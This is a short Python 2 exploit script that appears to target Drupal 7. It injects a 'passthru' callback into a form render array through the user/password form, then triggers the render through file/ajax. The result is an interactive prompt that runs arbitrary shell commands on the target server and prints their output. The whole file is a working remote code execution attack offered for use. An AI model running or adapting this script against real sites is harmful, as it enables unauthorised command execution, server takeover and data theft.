exploit.py

#!/usr/bin/env python3

import requests
import re
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
#proxies ={'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
verify = False


url = raw_input("Url: ")

get_params = {'q':'user/password', 'name[#post_render][]':'passthru', 'name[#markup]':'dir', 'name[#type]':'markup'}
post_params = {'form_id':'user_pass', '_triggering_element_name':'name'}

while True:
	cmd = raw_input("CMD> ")
	if cmd == "quit":
		break
	else:
		get_params['name[#markup]'] = cmd
		r = requests.post(url, data=post_params, params=get_params)

		m = re.search(r'<input type="hidden" name="form_build_id" value="([^"]+)" />', r.text)
		if m:
		    found = m.group(1)
		    get_params2 = {'q':'file/ajax/name/#value/' + found}
		    post_params2 = {'form_build_id':found}
		    r = requests.post(url, data=post_params2, params=get_params2)

		    string = str(r.text)
		    for j in range(0,len(string)):
		    	if string[j] == "{" or string[j] == "[":
		    		pos1 = j
		    		break
		    print string[:pos1]